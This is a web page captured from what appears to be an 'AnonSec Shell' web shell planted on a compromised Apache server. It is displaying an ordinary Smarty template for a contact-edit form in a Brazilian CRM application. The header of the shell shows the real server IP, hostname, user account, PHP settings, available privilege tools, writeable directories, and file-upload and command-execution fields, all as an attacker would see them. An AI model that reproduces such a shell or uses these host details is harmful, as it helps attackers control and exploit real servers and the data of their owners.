AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/imobles/ui/theme/lrsys/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/imobles/ui/theme/lrsys/ajax.contact-edit.tpl
<form class="form-horizontal" id="rform">
    
    <ul class="nav nav-tabs">
        <li class="active"><a style="" data-toggle="tab" href="#general_data">{$_L['General Data']}</a></li>
        <li><a data-toggle="tab" href="#complementary_data">{$_L['Complementary Data'] }</a></li>
        <li><a data-toggle="tab" href="#contact_notes">{$_L['Contact Notes'] }</a></li>
    </ul>

    <div class="tab-content">
        <div id="general_data" class="tab-pane fade in active">

            <div class="row" style="margin-top:20px">

                <div class=" col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label" for="account">{$_L['Name']}<small class="red">*</small> </label>
                    <input value="{$d['account']}" type="text" id="account" name="account" class="form-control" placeholder="{$_L['Full Name or Business Name']}" maxlength="100">
                </div>

                <div class="pj col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label">{$_L['Name Fantasy']}</label>
                    <input value="{$d['company']}" type="text" id="company" name="company" class="form-control" maxlength="100">
                </div>
            </div>
            <div class="row">   
                <div class="col-md-4 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Code']}</label>
                    <input value="{$d['code']}" type="text" id="code" name="code" class="form-control" placeholder="{$_L['Optional']}" maxlength="100"/>
                </div>

                <div class="col-md-4 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" >{$_L['Kind of Person']}</label>
                    <select name="kind_of_person" id="kind_of_person" class="form-control">
                        <option value="PJ" {if $d['kind_of_person']=='PJ'}selected{/if}>{$_L['Legal Person']}</option>
                        <option value="PF" {if $d['kind_of_person']=='PF'}selected{/if}>{$_L['Physical Person']}</option>
                        <option value="E" {if $d['kind_of_person']=='E'}selected{/if}>{$_L['Foreigner']}</option>
                    </select>
                </div>

                <div id="div_cpf" class="pf col-md-4 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" >{$_L['CPF']}</label>
                    <input value="{$d['cpf_cnpj']}" type="text" id="cpf" name="cpf" class="cpf form-control"/>
                </div>

                <div id="div_cnpj" class="pj col-md-4 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" >{$_L['CNPJ']}</label>
                    <input value="{$d['cpf_cnpj']}" type="text" id="cnpj" name="cnpj" class="cnpj form-control"/>
                    <span class="help-block"><a href="#"  id="open-modal-cnpj"><i class="fa fa-search"></i> {$_L['Search data at the Receita Federal']}</a> </span>
                </div>

                <div id="div_rg" class="pf col-md-4 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" >{$_L['RG']}</label>
                    <input value="{$d['rg']}" type="text" id="rg" name="rg" class="form-control" maxlength="30"/>
                </div>

                <div id="div_doc_ident" class="pe col-md-4 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" >{$_L['Identification Document']}</label>
                    <input value="{$d['foreign_doc_identification']}" type="text" id="foreign_doc_identification" name="foreign_doc_identification" class="form-control" maxlength="30"/>
                </div>

                <div class="col-md-4 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" >{$_L['Taxpayer']}</label>
                    <select name="taxpayer" id="taxpayer" class="form-control">
                            <option value="0" {if $d['taxpayer']=='0'}selected{/if}>{$_L['Not Telling']}</option>
                            <option value="1" {if $d['taxpayer']=='1'}selected{/if}>{$_L['Taxpayer ICMS']}</option>
                            <option value="2" {if $d['taxpayer']=='2'}selected{/if}>{$_L['Taxpayer exempt from registration in the register of ICMS Taxpayers']}</option>
                            <option value="9" {if $d['taxpayer']=='9'}selected{/if}>{$_L['Taxpayer, who may or may not have a State Registration in the ICMS Taxpayer Registry']}</option>
                    </select>
                </div>

                <div id="div_ie" class="pj col-md-4 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" >{$_L['State Registration']}</label>
                    <input value="{$d['ie']}" type="text" id="ie" name="ie" class="form-control" maxlength="30"/>
                </div>

                <div id="div_im" class="pj col-md-4 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" >{$_L['Municipal Registration']}</label>
                    <input value="{$d['im']}" type="text" id="im" name="im" class="form-control" maxlength="30"/>
                </div>

                <div id="div_pais" class="pe col-md-6 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" for="country">{$_L['Country']}</label>
                    <select name="country" id="country" class="select2 form-control" style="width:100%">
                        <option value="">{$_L['Select Country']}</option>
                        {$countries}
                    </select>
                </div>    

                <div class="col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label" for="group">{$_L['Group']}</label>                                        
                    <select class="form-control select2" name="group[]" id="group"  multiple="multiple" style="width:100%">           
                        {foreach $groups as $g}
                                <option value="{$g['id']}" {if in_array($g['id'],$dgroups)}selected="selected"{/if}>
                                  {if isset($_L[$g['gname']])}
                                        {$_L[$g['gname']]}
                                    {else if}
                                        {$g['gname']}
                                    {/if}
                                                        
                                </option>
                        {/foreach}
                    </select>
                    <span class="help-block"><a href="#" id="add_new_group">{$_L['Add New Group']}</a> </span>
                </div>

            </div>
             <div class='row {if $plugin_module_helpdesk}hide{/if}'>
                <div class="col-md-8 col-sm-12 col-xs-12">                               
                    <label class="control-label" for="tags">{$_L['Tags']}</label>
                        {*<input type="text" id="tags" name="tags" style="width:100%">*}
                        <select name="tags[]" id="tags" class="form-control select2" multiple="multiple">
                            {foreach $tags as $t}
                                <option value="{$t['text']}" {if in_array($t['text'],$dtags)}selected="selected"{/if}>{$t['text']}</option>
                            {/foreach}
                        </select>
                        <span class="help-block"><a href="#" id="add_new_tag">{$_L['Add New Tag']}</a> </span>

                </div>
                <div class="col-md-4 col-sm-12 col-xs-12">      
                    <label class=" control-label" for="currency">{$_L['Currency']}</label>

                        <select id="currency" name="currency" class="form-control">

                            {foreach $currencies as $currency}
                                <option value="{$currency['id']}"
                                        {if $_c['home_currency'] eq ($currency['cname'])}selected="selected" {/if}>{$currency['cname']}</option>
                            {foreachelse}
                                <option value="0">{$_c['home_currency']}</option>
                            {/foreach}

                        </select>        
                </div>
            </div>

            <div class="row {if $plugin_module_helpdesk}hide{/if}">
                <div class="col-md-6 col-sm-12 col-xs-12">  
                    <label class="control-label" for="password">{$_L['Password']}</label>
                    <input type="password" id="password" name="password" autocomplete = "new-password"  class="form-control" maxlength="100"/>
                    <span class="help-block">{$_L['password_change_help']}</span>
                </div>

            </div>


            <div class="row  {if $plugin_module_helpdesk}hide{/if}" id="div_zip">
                <div class="col-xs-12 div_form">  <h2> {$_L['Address']}</h2> </div>
                       
                <div class="col-md-3 col-sm-12 col-xs-12">
                   <label class="control-label" for="zip">{$_L['ZIP Postal Code']} </label>
                        <input value="{if $address <> ''}{$address['zip']}{/if}" type="text" id="zip" name="zip" class="cep form-control">
                </div>


                <div class="col-md-4 col-sm-12 col-xs-12">
                   <label class="control-label" for="state">{$_L['State Region']}</label>
                   <select name="state" id="state" class="form-control select2" style="width:100%">
                       <option value="">{$_L['Select State']}</option>
                            {foreach $state as $s}
                                {if $address <> ''}
                                <option value="{$s['id']}" {if $address['state_id']==$s['id'] } selected{/if}>{$s['state_name']}</option>
                                {else}
                                <option value="{$s['id']}">{$s['state_name']}</option>
                                {/if}
                            {/foreach}
                   </select>
                </div>                 

                <div class="col-md-5 col-sm-12 col-xs-12">
                   <label class=" control-label" id="label_cidade" for="city">{$_L['City']}</label>
                   <select name="city" id="city" class="form-control select2" style="width:100%">
                   </select>
                </div>   


                <div class="col-md-12 col-sm-12 col-xs-12">
                    <label class="control-label" for="address">{if $address <> ''}{$_L['Address']}{/if}</label>
                   <input value="{if $address <> ''}{$address['address']}{/if}" type="text" id="address" name="address" class="form-control" maxlength="100"/>
                </div>
                <div class="col-md-4 col-sm-12 col-xs-12">
                    <label class="control-label">{$_L['Neighborhood']}</label>
                    <input value="{if $address <> ''}{$address['neighborhood']}{/if}" type="text" id="neighborhood" name="neighborhood" class="form-control" maxlength="100"/>
                </div>

                <div class="col-md-2 col-sm-12 col-xs-12">
                    <label class="control-label">{$_L['Number']}</label>
                    <input value="{if $address <> ''}{$address['number']}{/if}"  type="text" id="number" name="number" class="form-control" maxlength="100"/>
                </div> 

                <div class="col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Complement']}</label>
                    <input value="{if $address <> ''}{$address['complement']}{/if}"  type="text" id="complement" name="complement" class="form-control" maxlength="100"/>
                </div> 

                <div class="col-md-12 checkbox _hide-from-view">
                    <label>
                            <input name="billing_address" value="Y" id="billing_address" type="checkbox" {if $d['billing_address']=='Y'}checked{/if}>
                            <p>{$_L['Has billing address different from main address']}</p>
                    </label>
                </div>
            </div>
            <div class='row' id="not_equal_billing_address">
                <div class="col-xs-12 div_form">  <h2> {$_L['Different billing address']}</h2> </div>
             
                <div class="col-md-3 col-sm-12 col-xs-12">
                    <label class="control-label" for="zip">{$_L['ZIP Postal Code']} </label>
                    <input value="{if $address_c <> ''}{$address_c['zip']}{/if}" type="text" id="zip_c" name="zip_c" class="cep form-control">
                </div>

                <div class="col-md-4 col-sm-12 col-xs-12">
                   <label class="control-label" for="state">{$_L['State Region']}</label>
                   <select name="state_c" id="state_c" class="form-control select2" style="width:100%">
                       <option value="">{$_L['Select State']}</option>
                            {foreach $state as $e}
                                {if $address_c <> ''}
                                <option value="{$e['id']}" {if $address_c['state_id']==$e['id'] } selected{/if}>{$e['state_name']}</option>
                                {else}
                                <option value="{$e['id']}">{$e['state_name']}</option>
                                {/if}
                            {/foreach}
                   </select>
                </div>                 

                <div class="col-md-5 col-sm-12 col-xs-12">
                   <label class=" control-label" id="label_cidade" for="city">{$_L['City']}</label>
                   <select name="city_c" id="city_c" class="form-control select2" style="width:100%">

                   </select>
                </div>   

                <div class="col-md-12 col-sm-12 col-xs-12">
                    <label class="control-label" for="address">{$_L['Address']}</label>
                   <input value="{if $address_c <> ''}{$address_c['address']}{/if}" type="text" id="address_c" name="address_c" class="form-control" maxlength="100"/>
                </div>
                <div class="col-md-4 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Neighborhood']}</label>
                    <input value="{if $address_c <> ''}{$address_c['neighborhood']}{/if}" type="text" id="neighborhood_c" name="neighborhood_c" class="form-control" maxlength="100"/>
                </div>

                <div class="col-md-2 col-sm-12 col-xs-12">
                    <label class="control-label" for="numero">{$_L['Number']}</label>
                    <input value="{if $address_c <> ''}{$address_c['number']}{/if}" type="text" id="number_c" name="number_c" class="form-control" maxlength="100"/>
                </div> 

                <div class="col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label" for="complemento">{$_L['Complement']}</label>
                    <input value="{if $address_c <> ''}{$address_c['complement']}{/if}" type="text" id="complement_c" name="complement_c" class="form-control" maxlength="100"/>
                </div> 
            </div>

            <div class='row' >
                <div class="col-xs-12 div_form">  <h2> {$_L['Contact']}</h2> </div>
               
                <div class="col-md-3 col-sm-12 col-xs-12">
                    <label class="control-label" for="phone">{$_L['Phone']}</label>
                    <input value="{$d['phone']}" type="text" id="phone" name="phone" class="fone form-control">
                </div>

                <div class="col-md-3 col-sm-12 col-xs-12">
                    <label class="control-label" for="phone">{$_L['Fax']}</label>
                    <input value="{$d['fax']}" type="text" id="fax" name="fax" class="fone form-control">
                </div>

                <div class="col-md-3 col-sm-12 col-xs-12">
                    <label class="control-label">{$_L['Cell phone']}</label>
                    <input value="{$d['cell_phone']}" type="text" id="cell_phone" name="cell_phone" class="fone form-control">
                </div>

                <div class="col-md-3 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Web Site']}</label>
                    <input value="{$d['web_site']}" type="text" id="web_site" name="web_site" class="form-control" maxlength="100"/>
                </div>
                <div class="col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Email']}</label>
                    <input value="{$d['email']}" autocomplete = "new-password" type="text" id="email" name="email" class="form-control" maxlength="100"/>
                </div>
                <div class="col-md-6 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" >{$_L['E-mail for sending NFe']}</label>
                    <input value="{$d['email_nfe']}" type="text" id="email_nfe" name="email_nfe" class="form-control" maxlength="100"/>
                </div>

            </div>

            <div class='pj row'>
                <div class="col-xs-12 div_form">  <h2> {$_L['Contacts']}</h2> </div>
                <div class="col-md-12 col-sm-12 col-xs-12">
                    <table class="table" id="contacts_list">
                        <tbody>
                             {foreach $contacts as $c}
                               <tr> 
                                   <td>
                                       <input type="hidden" class="form-control" name="contacts[]" value="{$c['id']}">
                                     {if $c['kind_of_person']!='E'}{$c['cpf_cnpj']} {else}{$c['foreign_doc_identification']}{/if} - {$c['account']} - {$c['company']}
                                   </td> 
                                   <td class="col-xs-1">
                                        <button class="btn btn-danger btn-xs delete_contact" ><i class="fa fa-trash"></i> </button>
                                   </td>
                               </tr>                           
                            {/foreach}
                           
                        </tbody>
                    </table>
                </div>
                 <div class="col-md-12 col-sm-12 col-xs-12">
                        <label class="control-label">{$_L['Select Contact']}</label>
                        <input type="text" id="autocompleteContact" name="autocompleteContact" maxlength="200" class="form-control">
                        <div id="suggesstion-box">
                        </div>
                        <span class="help-block"><a href="#"  id="contact_add">| {$_L['Not Found Add New Contact']}</a> </span>
                </div>      
            </div>
        </div>

        <div id="complementary_data" class="tab-pane fade in ">

              <div class="row pf {if $plugin_module_helpdesk}hide{/if}" style="margin-top:20px">

                <div class="col-md-4 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Marital status']}</label>
                    <select name="marital_status" id="marital_status" class="form-control select2" style="width:100%">
                        <option value="" {if $d['marital_status']==''}selected{/if}>{$_L['Select'] }</option>
                        <option value="Married" {if $d['marital_status']=='Married'}selected{/if}>{$_L['Married']}</option>
                        <option value="Not married" {if $d['marital_status']=='Not married'}selected{/if}>{$_L['Not married']}</option>
                        <option value="Widower" {if $d['marital_status']=='Widower'}selected{/if}>{$_L['Widower']}</option>
                        <option value="Separate" {if $d['marital_status']=='Separate'}selected{/if}>{$_L['Separate']}</option>
                        <option value="Disturbed" {if $d['marital_status']=='Disturbed'}selected{/if}>{$_L['Disturbed']}</option>
                    </select>

                </div>


                <div class=" col-md-4 col-sm-12 col-xs-12">
                    <label class="control-label">{$_L['Job Title']} </label>
                    <input value="{$d['jobtitle']}" type="text" id="jobtitle" name="jobtitle" class="form-control" maxlength="100"/>
                </div>

                <div class="col-md-4 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Sex']}</label>
                    <select name="sex" id="sex" class="form-control select2" style="width:100%">
                        <option value=" " {if $d['sex']==' '}selected{/if}>{$_L['Select'] }</option>
                        <option value="f" {if $d['sex']=='f'}selected{/if}>{$_L['Female']}</option>
                        <option value="m" {if $d['sex']=='m'}selected{/if}>{$_L['Male']}</option>
                        </select>
                    </select>
                </div>
            </div>

            <div class="pf row {if $plugin_module_helpdesk}hide{/if}">      

               <div class="col-md-4 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Date of birth']}</label>
                       <input value="{$d['date_of_birth']}" type="text" class="form-control" id="date_of_birth" name="date_of_birth" datepicker data-date-format="yyyy-mm-dd" data-auto-close="true">
                </div>    

                <div class=" col-md-4 col-sm-12 col-xs-12">
                    <label class="control-label">{$_L['Naturalness']}</label>
                    <input value="{$d['naturalness']}" type="text" id="naturalness" name="naturalness" class="form-control" maxlength="100"/>
                </div>
            </div>

            <div class="pf row  {if $plugin_module_helpdesk}hide{/if}">        
                <div id="div_nome_pai" class="col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L["Father's Name"]}</label>
                    <input value="{$d['father_name']}"  type="text" id="father_name" name="father_name" maxlength="100" class="form-control"/>
                </div>

                <div id="div_cpf_pai" class="col-md-3 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L["Father's CPF"]}</label>
                    <input value="{$d['father_cpf']}"  type="text" id="father_cpf" name="father_cpf" class="cpf form-control"/>
                </div>
            </div>        

            <div class="pf row {if $plugin_module_helpdesk}hide{/if}">        
                <div id="div_nome_pai" class="col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L["Mother's Name"]}</label>
                    <input type="text" value="{$d['mother_name']}" id="mother_name" name="mother_name" maxlength="100" class="form-control"/>
                </div>

                <div id="div_cpf_pai" class="col-md-3 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L["Mother's CPF"]}</label>
                    <input value="{$d['mother_cpf']}" type="text" id="mother_cpf" name="mother_cpf" class="cpf form-control"/>
                </div>
            </div>          


            <div class="pj row {if $plugin_module_helpdesk}hide{/if}">
                <div class="col-md-4 col-sm-12 col-xs-12">
                    <label class="control-label" for="ctr">{$_L['CRT']}</label>
                    <select name="crt" id="crt" class="form-control">
                        <option  value="1" {if $d['crt']=='1'}selected{/if}>{$_L['Simple National']}</option>
                        <option  value="2" {if $d['crt']=='2'}selected{/if}>{$_L['Simple National, excess']}</option>
                        <option  value="3" {if $d['crt']=='3'}selected{/if}>{$_L['Normal Regime']}</option>
                    </select>
                </div>   
                <div class="col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Inscription Suframa']}</label>
                    <input value="{$d['inscription_suframa']}" type="text" id="inscription_suframa" name="inscription_suframa" class="form-control" maxlength="100"/>
                </div>
            </div>

            <div class="row {if $plugin_module_helpdesk}hide{/if}">
                <div class="col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Status of CRM']}</label>
                    <select name="status_crm" id="status_crm" class="form-control">
                        <option  value="Customer" {if $d['status_crm']=='Customer'}selected{/if} >{$_L['Customer']}</option>
                        <option  value="Inactive" {if $d['status_crm']=='Inactive'}selected{/if}>{$_L['Inactive']}</option>
                        <option  value="Lead" {if $d['status_crm']=='Lead'}selected{/if}>{$_L['Lead']}</option>
                        <option  value="Prospect" {if $d['status_crm']=='Prospect'}selected{/if}>{$_L['Prospect']}</option>
                    </select>
                    <span class='help-block'>{$_L['Internship of this customer in customer relationship management (CRM)']}</span>
                </div>   
            </div>

            <div class="row {if $plugin_module_helpdesk}hide{/if}">    
                 <div class="col-md-6 col-sm-12 col-xs-12">
                        <label class="control-label">{$_L['Select Salesman'] }</label>
                        <input type="text" value="{$nameSalesman}" id="autocompleteSalesman" name="autocompleteSalesman" maxlength="200" class="form-control">
                        <div id="suggesstion-box-salesman">
                        </div>
                        <input type="hidden" value="{$d['salesman_id']}" id="salesman_id" name="salesman_id" class="form-control">
                        <span class='help-block'>{$_L['Default seller for this contact']}</span>   
                </div> 
            </div>

            <div class="row {if $plugin_module_helpdesk}hide{/if}">    
                 <div class="col-md-6 col-sm-12 col-xs-12">
                        <label class="control-label">{$_L['Payment Condition'] }</label>
                        <input value="{$d['payment_condition']}" type="text" id="payment_condition" name="payment_condition" maxlength="100" class="form-control">
                        <span class='help-block'>{$_L['Number of installments or default deadlines. Examples: 30 60, 3x or 15 + 2x']}</span>                                         
                </div> 
            </div>
            <div class='row {if $plugin_module_helpdesk}hide{/if}'>
                <div class="col-xs-12 div_form">  <h2> {$_L['Customer segmentation']}</h2> </div>
               
                <div class="col-md-6 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Segment']}</label>
                    <select name="segment" id="segment" class="form-control select2" style="width:100%">
                         {foreach $segments as $s}
                                <option value="{$s['id']}" {if $d['segment_id']==$s['id']}selected="selected"{/if}>{$s['name']}</option>
                        {/foreach}
                    </select>
                    <span class="help-block"><a href="#" id="add_new_segment">{$_L['Add New Segment']}</a> </span>   
                </div> 
            </div>                              
            <div class='row'>
                <div class="col-xs-12 div_form">  <h2> {$_L['Financial']}</h2> </div>
                
                <!-- CENTRO DE CUSTO -->
                <div class="col-md-4 col-sm-12 col-xs-12">
                    <label class="control-label" >{$_L['Center Cost']}</label>
                    <select class="form-control select2" id="cost_center" name="cost_center" style="width:100%">
                      <option></option>
                      {foreach $cost_center as $g}
                            <option value="{$g['id']}" {if $d['cost_center_id']==$g['id']}selected{/if}>{$g['name']}</option>
                      {/foreach}
                    </select>
                </div>
                                        
                                        
                <div class="col-md-6 col-sm-12 col-xs-12 {if $plugin_module_helpdesk}hide{/if}">
                    <label class="control-label" >{$_L['Credit limit']}</label>
                      <input value="{$d['credit_limit']}" type="text" id="credit_limit" name="credit_limit"  class="form-control amount" autocomplete="off" data-a-sign="{$_c['currency_code']} "  data-a-dec="{$_c['dec_point']}" data-a-sep="{$_c['thousands_sep']}" data-d-group="2"/>

                    <span class="help-block">{$_L['In order not to limit the customer\'s credit, leave this field zero']} </span>   
                </div> 
            </div>         


            {*run foreach*}
             <div class="row">
                 {foreach $fs as $f}
                     <div class="col-md-4 col-sm-12 col-xs-12"><label class="control-label" for="cf{$f['id']}">{$f['fieldname']}</label>
                         {if ($f['fieldtype']) eq 'text'}
                                 <input type="text" id="cf{$f['id']}" name="cf{$f['id']}" class="form-control" value="{if get_custom_field_value($f['id'],$d['id']) neq ''} {get_custom_field_value($f['id'],$d['id'])}{/if}">
                                 {if ($f['description']) neq ''}
                                     <span class="help-block">{$f['description']}</span>
                                 {/if}

                     {elseif ($f['fieldtype']) eq 'password'}
                                 <input type="password" id="cf{$f['id']}" name="cf{$f['id']}" class="form-control" value="{if get_custom_field_value($f['id'],$d['id']) neq ''} {get_custom_field_value($f['id'],$d['id'])}{/if}">
                                 {if ($f['description']) neq ''}
                                     <span class="help-block">{$f['description']}</span>
                                 {/if}

                         {elseif ($f['fieldtype']) eq 'dropdown'}
                               <select id="cf{$f['id']}" name="cf{$f['id']}" class="form-control select2" style="width:100%">
                                     {foreach explode(',',$f['fieldoptions']) as $fo}
                                         <option value="{$fo}" {if get_custom_field_value($f['id'],$d['id']) eq $fo} selected="selected" {/if}>{$fo}</option>
                                     {/foreach}
                                 </select>
                                 {if ($f['description']) neq ''}
                                     <span class="help-block">{$f['description']}</span>
                                 {/if}
                         {elseif ($f['fieldtype']) eq 'textarea'}

                                 <textarea id="cf{$f['id']}" name="cf{$f['id']}" class="form-control" rows="3">{if get_custom_field_value($f['id'],$d['id']) neq ''} {get_custom_field_value($f['id'],$d['id'])}{/if}</textarea>
                                 {if ($f['description']) neq ''}
                                     <span class="help-block">{$f['description']}</span>
                                 {/if}

                         {else}
                         {/if}
                     </div>
                 {/foreach}
            </div>
        </div>

        <div id="contact_notes" class="tab-pane fade in">
            <div class='row' >
                <div class="col-xs-12 div_form">  <h2> {$_L['Contact Notes']}</h2> </div>
                <div class="col-md-12 col-sm-12 col-xs-12">
                    <textarea id="notes" name="notes" class="form-control" rows="5">{$d['notes']}</textarea>
                </div>
            </div>
        </div>

    </div>
        <div class="row" style="margin-top:20px">
        <div class="col-md-12">
            <div class="form-group">
                <div class="col-md-offset-2 col-lg-10">
                    <button class="md-btn md-btn-primary waves-effect waves-light" type="submit" id="submit"><i class="fa fa-check"></i> {$_L['Save']}</button> | <a href="{$_url}contacts/view/{$d['id']}/summary">{$_L['Or Cancel']}</a>
                </div>
            </div>
        </div>
    </div>

    <input type="hidden" name="fcid" id="fcid" value="{$d['id']}"> 
</form>


<input type="hidden" name="_msg_add_new_group" id="_msg_add_new_group" value="{$_L['Add New Group']}">
<input type="hidden" name="_msg_group_name" id="_msg_group_name" value="{$_L['Group Name']}">

<input type="hidden" name="_msg_add_new_tag" id="_msg_add_new_tag" value="{$_L['Add New Tag']}">
<input type="hidden" name="_msg_tag_name" id="_msg_tag_name" value="{$_L['Tags']}">

<input type="hidden" name="_msg_add_new_segment" id="_msg_add_new_segment" value="{$_L['Add New Segment']}">
<input type="hidden" name="_msg_segment_name" id="_msg_segment_name" value="{$_L['Segment Name']}">

<input type="hidden" id="select_state" value="{$_L['Select State']}">
<input type="hidden" id="select_city" value="{$_L['Select City']}">
<input type="hidden" id="select_segment" value="{$_L['Select Segment']}">


<input type="hidden" id="select_city_id" value="{if isset($address['city_id'])}{$address['city_id']}{/if}">


<input type="hidden" id="select_city_id_c" value="{if isset($address_c['city_id'])}{$address_c['city_id']}{/if}">



Anon7 - 2022
AnonSec Team